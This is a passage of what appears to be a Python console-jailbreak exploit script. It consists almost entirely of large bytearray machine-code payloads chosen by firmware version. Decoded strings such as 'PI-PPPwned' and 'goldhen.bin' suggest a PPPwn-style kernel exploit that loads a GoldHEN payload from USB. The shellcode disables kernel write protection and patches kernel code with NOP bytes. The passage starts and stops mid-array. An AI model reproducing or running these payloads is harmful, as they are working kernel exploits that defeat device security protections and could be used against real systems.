01,108,76,111,97,100,83,116,97,114,116,77,111,100,117,108,101,0,108,105,98,83,99,101,76,105,98,99,73,110,116,101,114,110,97,108,46,115,112,114,120,0,109,101,109,115,101,116,0,109,101,109,99,112,121,0,115,112,114,105,110,116,102,0,47,115,121,115,116,101,109,47,99,111,109,109,111,110,47,108,105,98,47,108,105,98,83,99,101,83,121,115,85,116,105,108,46,115,112,114,120,0,115,99,101,83,121,115,85,116,105,108,83,101,110,100,83,121,115,116,101,109,78,111,116,105,102,105,99,97,116,105,111,110,87,105,116,104,84,101,120,116,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,245,254,255,111,0,0,0,0,128,38,0,0,0,0,0,0,5,0,0,0,0,0,0,0,120,38,0,0,0,0,0,0,6,0,0,0,0,0,0,0,96,38,0,0,0,0,0,0,10,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,11,0,0,0,0,0,0,0,24,0,0,0,0,0,0,0,21,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,30,0,0,0,0,0,0,0,8,0,0,0,0,0,0,0,251,255,255,111,0,0,0,0,1,0,0,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0])
        
        
        
    elif args.fw in ('1000', '1001'):
        offs = OffsetsFirmware_1000_1001()
        if args.gh == '1':
            payload = bytearray([233,168,6,0,0,83,72,137,251,72,131,236,32,72,139,5,204,7,0,0,72,137,116,36,8,72,141,116,36,8,72,139,128,248,0,0,0,137,84,36,16,72,199,135,152,3,0,0,0,0,0,0,137,76,36,24,255,208,133,192,116,4,247,216,235,6,139,131,152,3,0,0,72,131,196,32,91,195,72,131,236,24,72,139,5,135,7,0,0,72,137,52,36,72,137,230,199,68,36,8,255,1,0,0,72,139,128,136,25,0,0,72,199,135,152,3,0,0,0,0,0,0,255,208,72,131,196,24,195,72,131,236,24,72,139,5,84,7,0,0,137,116,36,8,72,141,116,36,8,72,139,128,40,1,0,0,72,199,135,152,3,0,0,0,0,0,0,255,208,72,131,196,24,195,65,87,185,130,0,0,192,65,86,65,85,73,137,213,65,84,73,137,244,85,72,137,253,83,72,129,236,56,4,0,0,15,50,72,193,226,32,137,192,76,141,116,36,48,190,0,1,0,0,72,9,194,76,141,61,148,6,0,0,76,137,247,49,192,72,137,211,76,141,130,48,82,12,0,76,137,249,72,129,195,128,1,46,0,72,141,21,151,6,0,0,65,255,208,76,137,247,255,211,128,124,4,47,47,72,137,195,117,5,198,68,4,47,0,72,141,68,36,49,138,16,132,210,116,37,128,250,47,117,27,198,0,0,76,137,246,72,137,239,72,137,68,36,8,232,11,255,255,255,72,139,68,36,8,198,0,47,72,255,192,235,213,65,128,124,31,255,47,117,11,76,137,246,72,137,239,232,235,254,255,255,76,137,230,49,201,49,210,72,137,239,232,147,254,255,255,49,219,65,137,196,133,192,15,136,252,0,0,0,76,137,238,185,164,1,0,0,186,1,6,0,0,72,137,239,232,113,254,255,255,76,141,124,36,24,65,137,197,133,192,121,16,68,137,230,72,137,239,232,214,254,255,255,233,203,0,0,0,72,139,5,41,6,0,0,76,137,254,72,137,239,72,139,128,152,0,0,0,68,137,100,36,24,72,199,133,152,3,0,0,0,0,0,0,76,137,116,36,32,72,199,68,36,40,0,4,0,0,255,208,137,195,133,192,116,4,247,219,235,6,139,157,152,3,0,0,72,99,195,72,133,192,126,78,72,139,21,221,5,0,0,76,137,254,72,137,239,72,139,146,200,0,0,0,68,137,108,36,24,72,199,133,152,3,0,0,0,0,0,0,76,137,116,36,32,72,137,68,36,40,255,210,133,192,116,4,247,216,235,6,139,133,152,3,0,0,57,216,15,132,110,255,255,255,68,137,230,72,137,239,235,8,68,137,230,72,137,239,116,20,232,42,254,255,255,68,137,238,72,137,239,49,219,232,29,254,255,255,235,21,232,22,254,255,255,68,137,238,72,137,239,187,1,0,0,0,232,6,254,255,255,72,129,196,56,4,0,0,137,216,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,85,73,137,250,83,72,129,236,8,13,0,0,72,137,180,36,88,12,0,0,72,137,148,36,96,12,0,0,72,137,140,36,104,12,0,0,76,137,132,36,112,12,0,0,76,137,140,36,120,12,0,0,132,192,116,64,15,41,132,36,128,12,0,0,15,41,140,36,144,12,0,0,15,41,148,36,160,12,0,0,15,41,156,36,176,12,0,0,15,41,164,36,192,12,0,0,15,41,172,36,208,12,0,0,15,41,180,36,224,12,0,0,15,41,188,36,240,12,0,0,185,130,0,0,192,15,50,72,193,226,32,137,192,72,141,108,36,32,76,137,214,72,137,211,72,141,124,36,77,72,141,84,36,8,199,68,36,8,8,0,0,0,72,9,195,72,141,132,36,32,13,0,0,199,68,36,12,48,0,0,0,72,137,68,36,16,72,141,132,36,80,12,0,0,72,137,68,36,24,72,141,131,0,82,12,0,72,129,195,16,50,15,0,255,208,199,68,36,32,0,0,0,0,72,137,238,49,201,199,68,36,72,0,0,0,0,186,48,12,0,0,49,255,198,68,36,76,0,199,68,36,48,255,255,255,255,255,211,72,129,196,8,13,0,0,91,93,195,243,15,30,250,83,72,137,251,72,131,236,16,72,139,5,46,4,0,0,72,137,52,36,72,137,230,72,139,128,56,6,0,0,199,68,36,8,0,0,0,0,72,199,135,152,3,0,0,0,0,0,0,255,208,133,192,116,4,247,216,235,6,139,131,152,3,0,0,133,192,15,148,192,72,131,196,16,15,182,192,91,195,243,15,30,250,65,85,185,130,0,0,192,73,137,213,72,131,236,16,15,50,72,137,116,36,8,72,137,60,36,232,140,255,255,255,133,192,116,23,72,139,116,36,8,72,139,60,36,72,131,196,16,76,137,234,65,93,233,128,252,255,255,72,131,196,16,49,192,65,93,195,243,15,30,250,65,87,185,130,0,0,192,65,86,65,85,65,84,85,72,137,253,83,72,131,236,56,15,50,49,201,65,137,214,49,210,65,137,197,232,163,251,255,255,133,192,15,136,104,1,0,0,65,137,196,72,139,5,108,3,0,0,76,141,124,36,24,72,137,239,76,137,254,72,139,128,168,89,0,0,68,137,100,36,24,72,199,133,152,3,0,0,0,0,0,0,72,199,68,36,32,0,0,0,0,199,68,36,40,2,0,0,0,255,208,137,195,133,192,116,4,247,219,235,6,139,157,152,3,0,0,72,139,5,32,3,0,0,72,99,219,76,137,254,72,137,239,72,139,128,168,89,0,0,68,137,100,36,24,72,199,133,152,3,0,0,0,0,0,0,72,199,68,36,32,0,0,0,0,199,68,36,40,0,0,0,0,255,208,72,133,219,15,142,159,0,0,0,73,193,230,32,77,9,238,76,141,171,255,63,0,0,76,137,234,73,139,190,56,189,39,2,73,141,134,128,174,51,0,72,129,226,0,192,255,255,72,137,84,36,8,72,137,214,255,208,72,139,84,36,8,72,133,192,73,137,197,116,98,72,139,5,160,2,0,0,72,137,84,36,8,76,137,254,72,137,239,72,139,128,152,0,0,0,68,137,100,36,24,72,199,133,152,3,0,0,0,0,0,0,76,137,108,36,32,72,137,92,36,40,255,208,72,139,84,36,8,133,192,116,4,247,216,235,6,139,133,152,3,0,0,72,152,72,57,195,116,44,73,139,190,56,189,39,2,73,141,134,80,176,51,0,76,137,238,255,208,72,131,196,56,68,137,230,72,137,239,91,93,65,92,65,93,65,94,65,95,233,205,250,255,255,68,137,230,72,137,239,232,194,250,255,255,72,131,196,56,76,137,232,91,93,65,92,65,93,65,94,65,95,255,224,72,131,196,56,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,85,185,130,0,0,192,65,84,85,72,137,253,72,131,236,16,15,50,76,141,45,164,1,0,0,76,141,37,119,1,0,0,76,137,238,232,145,253,255,255,133,192,116,99,76,137,230,72,137,239,232,130,253,255,255,133,192,117,16,76,137,226,76,137,238,72,137,239,232,194,253,255,255,235,68,72,139,5,168,1,0,0,76,137,100,36,8,72,141,116,36,8,72,137,239,72,139,128,232,1,0,0,72,199,133,152,3,0,0,0,0,0,0,255,208,133,192,116,4,247,216,235,6,139,133,152,3,0,0,133,192,121,182,72,131,196,16,93,65,92,65,93,195,76,137,230,72,137,239,232,31,253,255,255,133,192,117,21,72,131,196,16,72,141,61,42,1,0,0,93,65,92,65,93,233,246,251,255,255,72,131,196,16,76,137,230,72,137,239,93,65,92,65,93,233,138,253,255,255,243,15,30,250,72,131,236,24,185,130,0,0,192,15,50,72,193,226,32,137,192,72,9,194,72,141,130,208,43,16,1,72,137,5,13,1,0,0,15,32,192,72,137,193,72,129,225,255,255,254,255,15,34,193,199,130,208,2,0,0,0,0,0,0,102,199,130,245,2,0,0,144,144,102,199,130,249,2,0,0,144,144,198,130,2,3,0,0,235,102,199,130,167,45,71,0,144,144,102,199,130,179,45,71,0,144,144,198,130,181,45,71,0,144,102,199,130,178,44,71,0,144,144,102,199,130,190,44,71,0,144,144,198,130,192,44,71,0,144,102,199,130,83,50,71,0,144,144,102,199,130,95,50,71,0,144,144,198,130,97,50,71,0,144,102,199,130,144,50,71,0,144,144,15,34,192,72,141,61,108,0,0,0,49,192,232,36,251,255,255,72,131,196,24,101,72,139,60,37,0,0,0,0,233,100,254,255,255,47,100,97,116,97,47,71,111,108,100,72,69,78,47,112,97,121,108,111,97,100,115,47,103,111,108,100,104,101,110,46,98,105,110,0,37,115,0,47,109,110,116,47,117,115,98,48,47,103,111,108,100,104,101,110,46,98,105,110,0,103,111,108,100,104,101,110,46,98,105,110,32,110,111,116,32,102,111,117,110,100,33,0,80,73,45,80,80,80,119,110,101,100,0])
        else:
            payload = bytearray([233,190,1,0,0,243,15,30,250,72,139,22,49,192,255,226,243,15,30,250,72,139,71,8,185,130,0,0,192,72,139,191,48,1,0,0,72,139,112,64,76,139,64,72,15,50,72,193,226,32,137,192,72,199,70,4,0,0,0,0,72,9,194,72,139,134,24,1,0,0,199,70,20,0,0,0,0,199,0,0,0,0,0,72,139,130,240,182,17,1,72,137,70,48,72,139,130,16,90,178,1,73,137,64,32,73,137,64,24,72,184,19,0,0,0,0,0,1,56,72,137,71,88,49,192,72,199,71,96,255,255,255,255,72,199,71,104,255,255,255,255,195,83,72,137,251,72,131,236,32,72,139,5,187,51,0,0,72,137,116,36,8,72,141,116,36,8,72,139,128,248,0,0,0,137,84,36,16,72,199,135,152,3,0,0,0,0,0,0,199,68,36,24,0,0,0,0,255,208,133,192,116,4,247,216,235,6,139,131,152,3,0,0,72,131,196,32,91,195,243,15,30,250,72,137,248,128,56,0,116,5,72,255,192,235,246,72,41,248,195,243,15,30,250,49,192,72,57,194,116,18,138,12,7,72,255,192,58,76,6,255,116,239,25,192,131,200,1,195,49,192,195,243,15,30,250,69,49,192,72,133,246,116,42,76,139,135,64,155,45,2,72,137,247,232,176,255,255,255,72,137,194,73,141,184,84,4,0,0,232,182,255,255,255,133,192,116,8,77,139,0,77,133,192,117,232,76,137,192,195,243,15,30,250,65,87,73,137,255,185,130,0,0,192,65,86,73,137,246,65,85,65,84,85,83,65,80,15,50,72,193,226,32,137,192,189,50,0,0,0,73,189,0,0,32,38,9,0,0,0,72,9,194,72,141,154,176,224,56,0,77,137,236,79,141,108,53,0,106,0,49,246,106,7,76,137,225,65,185,7,0,0,0,77,137,232,49,210,76,137,255,255,211,89,94,133,192,116,7,255,205,117,213,69,49,228,90,76,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,185,130,0,0,192,65,86,65,85,65,84,85,83,72,129,236,88,12,0,0,15,50,72,193,226,32,137,192,72,9,194,72,137,214,15,50,72,193,226,32,137,192,72,9,194,72,141,134,208,43,16,1,72,137,5,84,50,0,0,76,141,162,64,254,255,255,15,32,193,72,137,200,72,37,255,255,254,255,15,34,192,198,134,2,3,0,0,235,72,141,29,221,253,255,255,102,199,134,179,45,71,0,144,144,198,134,181,45,71,0,144,102,199,134,190,44,71,0,144,144,198,134,192,44,71,0,144,102,199,134,95,50,71,0,144,144,198,134,97,50,71,0,144,72,139,5,249,49,0,0,199,134,208,2,0,0,0,0,0,0,102,199,134,245,2,0,0,144,144,102,199,134,249,2,0,0,144,144,102,199,134,167,45,71,0,144,144,102,199,134,178,44,71,0,144,144,102,199,134,83,50,71,0,144,144,102,199,134,144,50,71,0,144,144,102,65,199,132,36,164,243,59,0,144,144,65,198,132,36,12,177,51,0,7,65,198,132,36,20,177,51,0,7,72,137,152,24,2,0,0,72,141,29,70,253,255,255,102,199,68,36,5,144,144,198,68,36,7,144,199,128,16,2,0,0,2,0,0,0,199,128,60,2,0,0,1,0,0,0,199,128,176,1,0,0,2,0,0,0,72,137,152,184,1,0,0,199,128,220,1,0,0,1,0,0,0,15,34,193,49,192,72,141,124,36,32,185,12,3,0,0,243,171,72,141,68,36,77,72,141,53,61,9,0,0,185,11,0,0,0,72,137,199,199,68,36,48,255,255,255,255,76,141,138,96,205,56,0,72,141,154,208,205,56,0,243,164,72,141,53,33,9,0,0,76,137,231,198,68,36,76,1,101,72,139,44,37,0,0,0,0,232,177,253,255,255,72,133,192,15,132,50,1,0,0,76,139,184,104,1,0,0,73,137,197,76,137,255,65,255,209,190,0,0,8,0,76,137,255,232,197,253,255,255,76,137,255,73,137,198,255,211,76,99,5,44,9,0,0,76,137,241,76,137,234,80,76,141,13,62,9,0,0,76,137,230,72,137,239,106,0,232,231,2,0,0,90,89,133,192,15,133,225,0,0,0,76,137,241,76,137,234,76,137,230,72,137,239,232,6,4,0,0,133,192,15,133,200,0,0,0,76,141,37,158,8,0,0,186,1,0,0,0,72,137,239,76,137,230,232,165,252,255,255,137,195,133,192,117,73,186,5,0,0,0,76,137,230,72,137,239,232,143,252,255,255,137,195,133,192,117,51,76,141,37,126,8,0,0,186,1,0,0,0,72,137,239,76,137,230,232,114,252,255,255,137,195,133,192,117,22,186,5,0,0,0,76,137,230,72,137,239,232,92,252,255,255,137,195,133,192,116,98,72,139,5,25,48,0,0,72,141,84,36,32,76,141,100,36,8,72,137,239,76,137,230,72,139,128,200,0,0,0,72,199,133,152,3,0,0,0,0,0,0,137,92,36,8,72,137,84,36,16,72,199,68,36,24,48,12,0,0,255,208,72,139,5,220,47,0,0,76,137,230,72,137,239,72,139,128,40,1,0,0,72,199,133,152,3,0,0,0,0,0,0,137,92,36,8,255,208,72,129,196,88,12,0,0,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,76,141,190,192,208,56,0,65,86,65,85,73,137,205,185,130,0,0,192,65,84,77,137,196,85,83,72,137,243,72,131,236,40,76,139,178,104,1,0,0,72,199,68,36,24,0,0,0,0,15,50,72,141,134,112,208,56,0,76,137,247,255,208,73,99,174,0,1,0,0,133,237,117,7,49,219,233,164,0,0,0,49,246,72,141,84,36,24,72,141,131,176,214,56,0,76,137,247,255,208,133,192,137,68,36,12,117,222,72,99,253,72,141,179,0,44,83,1,186,2,0,0,0,72,129,195,96,154,16,0,72,107,255,58,255,211,72,137,195,72,133,192,116,186,139,76,36,12,57,233,125,93,72,139,84,36,24,72,131,192,58,72,139,114,32,72,137,112,230,72,139,114,40,72,137,112,238,72,139,114,80,72,137,112,246,139,122,92,137,254,102,193,238,8,33,254,102,137,112,254,15,16,130,141,0,0,0,15,17,64,198,15,16,138,157,0,0,0,72,139,84,36,24,15,17,72,214,72,139,82,8,72,137,84,36,24,72,133,210,116,4,255,193,235,159,76,137,247,65,255,215,77,133,237,116,4,73,137,93,0,77,133,228,116,4,73,137,44,36,72,131,196,40,49,192,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,85,73,137,250,73,137,203,72,137,215,83,185,130,0,0,192,72,131,236,72,72,139,108,36,96,15,50,73,129,248,255,255,63,0,119,125,72,133,255,116,120,76,137,195,77,133,192,117,17,49,192,72,133,237,116,110,72,199,69,0,0,0,0,0,235,100,72,137,224,76,137,68,36,8,72,137,68,36,16,49,192,131,124,36,104,0,15,149,192,76,137,68,36,40,76,141,68,36,16,137,68,36,52,72,141,134,64,220,68,0,76,137,198,76,137,12,36,199,68,36,24,1,0,0,0,76,137,92,36,32,199,68,36,48,1,0,0,0,76,137,84,36,56,255,208,72,133,237,116,16,72,43,92,36,40,72,137,93,0,235,5,184,1,0,0,0,72,131,196,72,91,93,195,243,15,30,250,80,106,0,255,116,36,24,232,63,255,255,255,72,131,196,24,195,243,15,30,250,80,106,1,255,116,36,24,232,42,255,255,255,72,131,196,24,195,243,15,30,250,65,87,65,86,65,85,65,84,85,72,137,205,185,130,0,0,192,83,72,137,243,72,137,214,72,131,236,40,72,199,68,36,24,0,0,0,0,15,50,72,141,131,48,1,57,0,65,188,1,0,0,0,72,137,68,36,8,72,133,237,116,125,76,139,190,104,1,0,0,77,137,198,76,141,131,32,207,56,0,76,141,171,144,207,56,0,76,137,255,65,255,208,72,139,68,36,8,72,141,76,36,24,76,137,242,49,246,76,137,255,255,208,65,137,196,133,192,116,8,76,137,255,65,255,213,235,60,72,139,76,36,24,49,210,106,0,65,185,7,0,0,0,106,7,49,246,76,137,255,72,129,195,112,226,56,0,78,141,4,49,255,211,76,137,255,65,137,196,65,255,213,88,90,69,133,228,117,9,72,139,68,36,24,72,137,69,0,72,131,196,40,68,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,85,65,84,73,137,204,85,76,137,197,83,72,137,243,80,76,139,170,104,1,0,0,72,141,134,32,207,56,0,76,137,239,255,208,73,141,20,44,76,137,230,76,137,239,72,141,131,112,251,56,0,72,129,195,144,207,56,0,255,208,76,137,239,65,137,196,255,211,90,68,137,224,91,93,65,92,65,93,195,243,15,30,250,65,87,65,86,73,137,254,65,85,73,137,213,65,84,85,72,137,245,83,72,129,236,136,0,0,0,72,137,76,36,40,185,130,0,0,192,72,199,68,36,56,0,0,0,0,72,199,68,36,64,0,0,0,0,72,199,68,36,72,0,0,0,0,72,199,68,36,80,0,0,0,0,72,199,68,36,88,0,0,0,0,15,50,65,184,0,64,0,0,72,141,76,36,56,76,137,234,232,113,254,255,255,65,137,196,133,192,15,133,168,2,0,0,72,141,76,36,64,76,137,234,72,137,238,76,137,247,65,184,0,0,8,0,232,77,254,255,255,65,137,196,133,192,15,133,132,2,0,0,72,139,92,36,56,86,76,137,247,76,137,234,65,184,255,0,0,0,76,141,13,222,2,0,0,72,137,238,72,137,217,76,141,124,36,96,65,87,232,2,254,255,255,95,65,88,65,137,196,133,192,15,133,75,2,0,0,73,139,69,16,72,141,76,36,72,76,137,234,72,137,238,76,141,68,36,80,76,137,247,72,137,68,36,16,232,233,251,255,255,65,137,196,133,192,15,133,31,2,0,0,72,139,68,36,80,72,139,76,36,72,72,199,68,36,96,0,0,0,0,69,49,192,72,199,68,36,104,0,0,0,0,72,141,53,169,3,0,0,72,199,68,36,112,0,0,0,0,72,199,68,36,120,0,0,0,0,72,137,68,36,8,76,57,68,36,8,15,132,215,1,0,0,102,131,121,56,5,117,115,72,137,207,186,18,0,0,0,76,137,68,36,32,72,137,76,36,24,232,188,247,255,255,72,139,76,36,24,76,139,68,36,32,72,141,53,88,3,0,0,133,192,117,71,72,139,65,32,72,141,136,64,62,1,0,72,141,144,32,62,1,0,72,137,76,36,104,72,141,136,96,66,1,0,72,5,48,232,8,0,72,137,68,36,120,72,139,68,36,64,72,137,84,36,96,72,137,76,36,112,72,137,68,36,8,72,133,210,117,17,233,93,1,0,0,73,255,192,72,131,193,58,233,111,255,255,255,80,72,141,75,13,76,137,234,65,184,8,0,0,0,65,87,72,137,238,76,137,247,76,141,76,36,56,232,218,252,255,255,90,89,133,192,15,133,36,1,0,0,65,81,72,141,75,21,65,184,8,0,0,0,76,137,234,65,87,72,137,238,76,137,247,76,141,76,36,112,232,175,252,255,255,65,90,65,91,133,192,15,133,247,0,0,0,86,65,184,8,0,0,0,76,137,247,72,141,75,29,65,87,76,137,234,72,137,238,76,141,76,36,120,232,131,252,255,255,95,65,88,133,192,15,133,204,0,0,0,65,82,76,137,234,72,141,75,37,65,184,8,0,0,0,65,87,72,137,238,76,137,247,76,141,140,36,128,0,0,0,232,84,252,255,255,65,91,90,133,192,15,133,157,0,0,0,87,65,184,8,0,0,0,72,141,75,45,76,137,234,65,87,72,137,238,76,137,247,76,141,140,36,136,0,0,0,232,38,252,255,255,65,88,65,89,133,192,117,114,86,72,141,83,77,72,141,133,240,130,1,0,49,201,106,0,65,185,0,0,8,0,49,246,106,0,106,0,106,0,106,0,76,139,68,36,56,72,139,124,36,64,255,208,72,131,196,48,133,192,117,62,198,68,36,55,0,76,141,76,36,55,80,72,141,75,12,76,137,234,65,184,1,0,0,0,65,87,72,137,238,76,137,247,76,137,76,36,24,232,171,251,255,255,90,89,133,192,117,14,128,124,36,55,0,76,139,76,36,8,116,206,235,3,65,137,196,72,139,124,36,72,72,133,255,116,16,72,141,181,0,44,83,1,72,141,133,32,156,16,0,255,208,72,139,76,36,56,72,133,201,116,20,65,184,0,64,0,0,76,137,234,72,137,238,76,137,247,232,87,252,255,255,72,139,76,36,64,72,133,201,116,20,65,184,0,0,8,0,76,137,234,72,137,238,76,137,247,232,57,252,255,255,72,129,196,136,0,0,0,68,137,224,91,93,65,92,65,93,65,94,65,95,195,0,0,0,0,0,0,0,0,82,76,68,82,77,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,114,112,99,115,116,117,98,0,72,139,61,217,255,255,255,72,139,55,72,139,190,224,1,0,0,232,122,0,0,0,72,141,61,211,255,255,255,76,139,37,164,255,255,255,65,255,212,190,0,0,8,0,72,141,61,189,255,255,255,76,139,37,150,255,255,255,65,255,212,76,141,5,180,255,255,255,185,0,0,0,0,72,139,21,112,255,255,255,72,141,53,153,255,255,255,72,141,61,138,255,255,255,76,139,37,115,255,255,255,65,255,212,198,5,80,255,255,255,1,191,0,0,0,0,232,1,0,0,0,195,184,175,1,0,0,73,137,202,15,5,195,184,165,0,0,0,73,137,202,15,5,195,85,72,137,229,83,72,131,236,24,72,137,125,232,72,141,117,232,191,129,0,0,0,232,218,255,255,255,72,131,196,24,91,93,195,80,73,45,80,80,80,119,110,101,100,0,83,99,101,83,104,101,108,108,67,111,114,101,0,47,100,101,118,47,110,111,116,105,102,105,99,97,116,105,111,110,48,0,47,100,101,118,47,110,111,116,105,102,105,99,97,116,105,111,110,49,0,108,105,98,107,101,114,110,101,108,95,115,121,115,46,115,112,114,120,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,120,39,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,233,241,2,0,0,72,49,192,73,137,202,15,5,114,1,195,72,131,61,136,39,0,0,0,116,24,80,255,21,127,39,0,0,89,137,8,72,199,192,255,255,255,255,72,199,194,255,255,255,255,195,243,15,30,250,65,87,185,130,0,0,192,65,86,65,85,15,50,65,84,72,193,226,32,85,83,72,131,236,24,72,9,208,72,139,86,8,76,141,128,160,43,24,2,76,137,68,36,8,76,139,34,76,139,106,8,77,133,228,15,132,54,2,0,0,73,131,253,7,15,134,44,2,0,0,72,141,152,64,254,255,255,76,141,184,96,34,14,0,72,141,168,8,108,206,0,72,184,88,68,65,79,76,89,65,80,73,57,4,36,15,133,3,2,0,0,65,15,32,198,76,137,240,72,37,255,255,254,255,15,34,192,199,131,120,138,167,1,0,0,0,0,49,246,102,199,131,95,2,25,0,235,76,72,137,239,102,199,131,64,234,27,0,49,192,186,0,64,0,0,198,131,66,234,27,0,195,198,131,154,213,14,0,55,198,131,157,213,14,0,55,199,131,79,119,38,0,184,0,0,0,198,131,83,119,38,0,0,198,131,12,177,51,0,7,198,131,20,177,51,0,7,102,199,131,103,47,71,0,144,144,102,199,131,115,47,71,0,144,144,198,131,117,47,71,0,144,102,199,131,114,46,71,0,144,144,102,199,131,126,46,71,0,144,144,198,131,128,46,71,0,144,102,199,131,19,52,71,0,144,144,102,199,131,31,52,71,0,144,144,198,131,33,52,71,0,144,102,199,131,80,52,71,0,144,144,198,131,45,45,71,0,235,199,131,61,230,68,0,144,144,144,144,102,199,131,65,230,68,0,144,144,199,131,17,235,68,0,233,124,2,0,198,131,21,235,68,0,0,199,131,12,164,38,0,72,49,192,144,198,131,16,164,38,0,144,199,131,198,206,66,0,144,144,144,144,102,199,131,202,206,66,0,144,144,199,131,123,32,57,0,144,144,144,144,102,199,131,127,32,57,0,144,144,102,199,131,224,38,105,0,49,192,198,131,226,38,105,0,195,102,199,131,16,165,100,0,176,1,198,131,18,165,100,0,195,102,199,131,64,165,100,0,176,1,198,131,66,165,100,0,195,102,199,131,215,81,12,0,235,59,199,131,167,193,27,0,144,144,144,144,102,199,131,171,193,27,0,144,144,199,131,247,52,25,0,144,144,144,144,102,199,131,251,52,25,0,144,144,102,199,131,50,50,71,0,144,144,199,131,8,201,78,0,0,0,0,0,199,131,206,217,78,0,0,0,0,0,255,21,72,37,0,0,76,137,234,76,137,230,72,137,239,255,21,49,37,0,0,198,131,103,36,14,0,235,72,139,124,36,8,74,141,148,45,255,63,0,0,72,137,238,72,129,226,0,192,255,255,72,129,230,0,192,255,255,185,7,0,0,0,65,255,215,198,131,103,36,14,0,117,65,15,34,198,73,139,84,36,8,72,131,196,24,91,49,192,72,1,234,93,65,92,65,93,65,94,65,95,255,226,72,131,196,24,131,200,255,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,85,72,137,250,72,129,236,0,2,0,0,72,141,53,95,34,0,0,72,137,229,49,192,72,137,239,255,21,161,36,0,0,72,137,238,191,222,0,0,0,255,21,139,36,0,0,72,129,196,0,2,0,0,93,195,243,15,30,250,65,85,65,84,85,72,131,236,16,232,238,0,0,0,232,107,1,0,0,72,141,5,248,1,0,0,72,137,4,36,139,5,14,34,0,0,72,137,68,36,8,49,192,255,21,117,36,0,0,72,137,230,72,141,61,254,252,255,255,199,0,0,0,0,0,232,116,0,0,0,133,192,65,137,196,116,11,49,192,255,21,81,36,0,0,68,139,32,76,141,45,218,33,0,0,76,137,239,72,141,45,230,33,0,0,232,64,0,0,0,72,137,239,232,56,0,0,0,76,137,239,190,255,1,0,0,232,67,0,0,0,72,137,239,190,255,1,0,0,232,54,0,0,0,232,73,1,0,0,72,141,61,210,33,0,0,232,32,255,255,255,72,131,196,16,68,137,224,93,65,92,65,93,195,72,199,192,10,0,0,0,233,84,252,255,255,72,199,192,11,0,0,0,233,72,252,255,255,72,199,192,136,0,0,0,233,60,252,255,255,72,199,192,79,2,0,0,233,48,252,255,255,243,15,30,250,72,137,241,49,210,72,137,254,69,49,192,80,191,82,2,0,0,49,192,232,17,252,255,255,90,195,243,15,30,250,85,72,141,61,127,33,0,0,72,131,236,16,72,199,5,143,35,0,0,0,0,0,0,72,141,108,36,12,72,137,238,232,186,255,255,255,133,192,116,34,72,137,238,72,141,61,100,33,0,0,232,167,255,255,255,133,192,116,15,72,137,238,72,141,61,100,33,0,0,232,148,255,255,255,139,124,36,12,72,141,21,81,35,0,0,72,141,53,96,33,0,0,232,113,255,255,255,139,124,36,12,72,141,21,50,35,0,0,72,141,53,81,33,0,0,232,90,255,255,255,72,131,196,16,93,195,243,15,30,250,85,69,49,201,69,49,192,49,201,49,210,49,246,72,141,61,71,33,0,0,255,21,2,35,0,0,72,141,21,243,34,0,0,72,141,53,75,33,0,0,137,197,137,199,232,31,255,255,255,137,239,72,141,21,210,34,0,0,72,141,53,57,33,0,0,232,10,255,255,255,137,239,93,72,141,21,180,34,0,0,72,141,53,42,33,0,0,233,244,254,255,255,243,15,30,250,49,201,49,210,49,246,72,141,61,28,33,0,0,69,49,201,80,69,49,192,255,21,162,34,0,0,89,72,141,21,122,34,0,0,137,199,72,141,53,36,33,0,0,233,192,254,255,255,88,68,65,79,76,89,65,80,245,18,0,0,0,0,0,0,243,15,30,250,131,63,8,117,74,139,71,24,137,193,193,233,24,117,64,137,194,129,226,0,0,12,0,129,250,0,0,12,0,117,48,129,127,56,55,19,0,0,117,39,37,255,255,251,255,72,141,13,71,27,0,0,137,71,24,49,192,72,137,194,72,247,218,138,20,10,136,84,7,56,72,255,192,72,131,248,16,117,234,255,37,15,32,0,0,65,87,65,86,65,85,65,84,85,83,72,131,236,40,73,137,252,73,137,245,137,211,72,137,205,101,76,139,52,37,0,0,0,0,76,141,124,36,12,186,20,0,0,0,76,137,255,49,246,255,21,160,32,0,0,137,92,36,12,72,141,124,36,16,76,137,238,186,16,0,0,0,255,21,145,32,0,0,72,139,53,26,32,0,0,76,137,247,49,210,255,21,143,32,0,0,76,137,225,76,137,254,72,137,239,65,184,32,0,0,0,186,20,0,0,0,255,21,173,31,0,0,72,139,53,238,31,0,0,76,137,247,255,21,93,32,0,0,72,131,196,40,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,129,236,192,1,0,0,73,137,253,139,132,36,24,2,0,0,72,137,243,68,139,180,36,16,2,0,0,72,137,213,80,65,86,139,132,36,24,2,0,0,80,255,180,36,24,2,0,0,255,180,36,24,2,0,0,255,21,34,31,0,0,72,131,196,48,133,192,65,137,196,15,132,223,2,0,0,69,133,246,15,133,214,2,0,0,76,141,76,36,32,49,246,76,137,207,76,137,76,36,8,186,16,0,0,0,76,141,124,36,48,255,21,187,31,0,0,76,141,116,36,80,72,137,108,36,32,72,199,68,36,40,0,1,0,0,49,246,76,137,255,186,16,0,0,0,255,21,152,31,0,0,76,141,84,36,112,76